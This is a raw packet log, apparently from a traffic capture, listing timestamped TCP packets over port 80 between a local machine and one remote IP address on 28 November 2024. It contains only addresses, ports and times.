Nov 28, 2024 13:09:57.157582998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.158602953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.158732891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.158781052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.159748077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.159847021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.160012960 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.160845995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.160943985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.160995960 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.161951065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.162058115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.162163973 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.163125038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.163279057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.163413048 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.164298058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.164494038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.164546967 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.165446997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.165535927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.165780067 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.166476011 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.166635990 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.166697979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.167566061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.167675972 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.167737961 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.168713093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.168821096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.168879032 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.169792891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.169891119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.171725988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.359249115 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.479321003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.479378939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.479706049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.479831934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.479891062 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.480451107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.480489969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.480567932 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.481324911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.481388092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.482012033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.482067108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.482115030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.482825041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.482882977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.482923031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.483566999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.483625889 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.483742952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.484376907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.484385967 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.484442949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.485096931 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.485166073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.485282898 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.485510111 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.485964060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.486080885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.486736059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.486793041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.486905098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.487607956 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.487653017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.487858057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.488178015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.488344908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.488446951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.488495111 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.489190102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.489253998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.489314079 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.489958048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.490065098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.490717888 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.490758896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.490828037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.491358995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.491620064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.491677046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.491729975 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.492271900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.492449999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.493048906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.493113995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.493206978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.493257999 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.493817091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.493953943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.494590998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.494599104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.494735956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.494791031 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.495420933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.495553970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.496172905 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.496181011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.496294022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.496740103 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.497051001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.497129917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.497191906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.497858047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.497951031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.498016119 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.498585939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.498627901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.499022007 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.499423981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.499486923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.499732971 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.500169992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.500247955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.500308037 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.500960112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.501019955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.501631975 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.501800060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.501909018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.502593040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.502620935 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.502655029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.503278971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.503338099 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.503379107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.504080057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.504148006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.504260063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.504861116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.504916906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.504997015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.505234003 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.505633116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.505755901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.506407976 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.506438017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.506550074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.507096052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.507234097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.507349014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.507405996 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.507988930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.508114100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.508846998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.508897066 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.509047031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.509203911 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.509903908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.509984970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.510462999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.510512114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.510556936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.511145115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.511234999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.511884928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.511940002 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.512063026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.512104988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.512814045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.512960911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.513329029 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.513632059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.513802052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.514198065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.514295101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.514419079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.514467001 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.515079975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.515230894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.515860081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.515913963 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.515973091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.516633034 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.516657114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.516757965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.516906023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.517451048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.517574072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.517699003 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.518296003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.518465996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.518822908 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.519001007 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.519121885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.519181967 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.519793034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.519893885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.520086050 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.520612955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.520675898 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.521223068 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.521411896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.521661043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.522156954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.522202015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.522449970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.522872925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.522948980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.523062944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.523147106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.523771048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.523870945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.524452925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.524584055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.524677038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.524734020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.525332928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.525428057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.526070118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.526079893 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.526190996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.526783943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.526952028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.527004957 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.527057886 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.527699947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.527803898 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.528450012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.528451920 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.528485060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.529117107 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.529248953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.529321909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.529371977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.530045033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.530158997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.530765057 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.530813932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.530940056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.531394005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.531621933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.531764030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.531814098 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.532407045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.532512903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.532713890 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.533344030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.533437014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.533483028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.533952951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.534018040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.534297943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.534755945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.534867048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.534925938 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.535619974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.535768986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.536504984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.536597967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.536709070 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.537117958 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.537256956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.537370920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.537794113 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.538201094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.538213968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.538275957 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.538750887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.538842916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.538886070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.539470911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.539597034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.540276051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.540323973 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.540364981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.541057110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.541098118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.541172981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.541785002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.541877985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.541968107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.542009115 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.542709112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.542928934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.543432951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.543486118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.543611050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.544204950 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.544258118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.544325113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.544951916 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.544981003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.545097113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.545154095 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.545797110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.545864105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.546499968 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.546561956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.546650887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.547143936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.547353983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.547472954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.547529936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.548139095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.548252106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.549779892 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.550651073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.550663948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.550676107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.550729990 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.551004887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.551263094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.551316977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.551634073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.551728010 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.551742077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.551781893 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.552198887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.552462101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.553122044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.553215027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.553323984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.553803921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.553839922 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.554033995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.554544926 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.554919004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.554980040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.555041075 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.555253983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.555346966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.555388927 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.556020021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.556139946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.556802988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.556806087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.556941986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.557282925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.557617903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.557745934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.558516979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.558542967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.558670998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.559122086 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.559298038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.559406042 CET	80	49745	185.215.113.16	192.168.2.4
